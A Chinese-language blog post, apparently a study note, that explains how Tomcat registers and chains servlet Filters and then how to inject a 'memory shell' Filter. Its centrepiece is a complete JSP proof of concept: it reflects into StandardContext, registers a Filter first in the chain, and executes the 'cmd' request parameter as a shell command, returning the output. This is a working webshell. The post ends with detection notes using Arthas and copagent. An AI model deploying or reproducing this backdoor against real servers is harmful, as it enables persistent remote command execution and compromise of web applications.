Filter 流程
图片来源:https://blog.csdn.net/qq_37924905/article/details/108616779
Filter 可以是链式的,多个 Filter 过滤同一请求
Filter 注册流程
创建 maven Java web 项目,不多说了,不会的自行百度嗷。然后pom.xml 添加如下内容
<dependencies>
// 测试
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.1</version>
<scope>provided</scope>
</dependency>
// tomcat源码
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.51</version>
</dependency>
</dependencies>
项目结构如下,文件夹不存在的可以自行创建
FilterDemo 如下
package com.yq1ng.Filter;
import javax.servlet.*;
import java.io.IOException;
/**
* @author ying
* @Description
* @create 2021-12-05 3:54 PM
*/
public class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filterDemo 已被初始化...");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("进行过滤操作...");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
web.xml 添加
<filter>
<filter-name>filterDome</filter-name>
<filter-class>com.yq1ng.Filter.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDome</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
开始 debug,看自定义 Filter 怎么被调用。首先是org\apache\catalina\startup\ContextConfig.class#configureContext()
读取、解析 xml 文件,返回解析后的实例,这个不说了,代码好长。org\apache\catalina\core\StandardWrapperValve.class#invoke()
中创建了 filterChain
跟进看看,在 42 行获取的当前 web 应用的信息
主要关注图中的三个属性
- filterConfigs:存放 filterDef(见 filterDefs) **,filter 实例对象**及其他信息
- filterDefs:存放过滤器名、过滤器全限定名及其他信息
- filterMaps:存放过滤器名字(FilterName )及对应作用 url(URLPattern)
这里遍历 filterMaps,比较请求 url 是在 filter 作用路径中,如果路径符合要求则在context中寻找对应的 filterConfig,如果 filterConfig 存在且不为 null 则进入filterChain.addFilter()
,跟进
for 循环来判断我们的 filter 是否存在,若存在则直接 return,也就是去重。
下面的 if 判断 n 是否与当前 filter 容量相等,如果相等则对 filter 的空间+10,然后将我们的 filter 加到当前 filters 中,这部分相当于扩容。看一下 filter 和 n
然后返回,for 循环过后 filterChain 算是装载完成了。然后又回到org\apache\catalina\core\StandardWrapperValve.class#invoke()
就开始调用 filter 链
跟进doFilter()
继续
在这里就会调用我们自定义的 Filter
来一张宽字节的总结
Filter 内存马实现
先提一个特性,在 Servlet 3.0 后, servlet 和 filter,甚至 Listener 都可以进行动态的创建,从javax\servlet\ServletContext.class
接口中也能直观看出
那么就可以通过 jsp 动态创建恶意的 Filter。从注册流程可以知道,组装 filterChain 的时候是通过 context 获取其 filtersMaps,怎么获取这个 context 然后把恶意过滤器添加到第一位呢?
获取 context
在org\apache\catalina\connector\Request.class
发现getContext()
方法,此方法可以获取 context
怎么获取 Request 对象呢?实际 Tomcat 在使用 request 的时候不是用的 Request 这个类,而是 RequestFacade,因为 Request 这个类里面有很多属性和方法,这些方法是不想对外公开的,所以使用 RequestFacade 进行包装,来看一下
所以可以使用反射获取 Request
<%
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request);
StandardContext standardContext = (StandardContext) req1.getContext();
%>
poc
poc 怎么得来的可以看看https://blog.csdn.net/angry_program/article/details/116661899,很详细,我也没细看(逃,poc 很容易理解,这里就直接看 poc 了
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%--
Created by IntelliJ IDEA.
User: ying
Date: 12/5/2021
Time: 9:06 PM
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>test</title>
</head>
<body>
<%
// 定义过滤器名字
final String name = "yq1ng";
// 获取context
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request);
StandardContext standardContext = (StandardContext) req1.getContext();
// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 如果过滤器不存在则进行注入
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
// Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
// int len = process.getInputStream().read(bytes);
// servletResponse.getWriter().write(new String(bytes,0,len));
// process.destroy();
// return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 将恶意Filter移到第一位
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
</body>
</html>
启动服务,访问 test.jsp
这样还是不行,和普通的 webshell 没区别,还是会有恶意文件落地,所以还要结合反序列化来实现无文件落地的内存马
查杀
参考:https://gv7.me/articles/2020/kill-java-web-filter-memshell/
查杀思路大致为使用 Agent 遍历所有已经加载到内存中的 class,判断 filter 来源(ClassLoader)、web.xml 配置、filter 常见恶意名字、检查 Filter 对应的 ClassLoader 是否存在对应的 class 文件、检查 doFilter 方法中是否含有恶意代码(Runtime、Process、defineClass 等等
arthas
https://github.com/alibaba/arthas
适合对业务整体代码较为熟悉的时候使用
启动 tomcat,注入内存马,使用java -jar .\arthas-boot.jar
启动工具,选择 org.apache.catalina.startup.Bootstrap 进程
使用 sc 命令列出 JVM 已加载的所有 Filter:sc *.Filter
使用 jad 命令反编译 class:jad --source-only org.apache.jsp.test_jsp
使用 watch 命令监控函数调用情况:watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
copagent
由arthas二次开发,这个应该挺适合检测内存马的,只需要java -jar .\cop.jar
即可
这两个使用了 agent 技术,暂不深入,因为我还没学到,嘤嘤嘤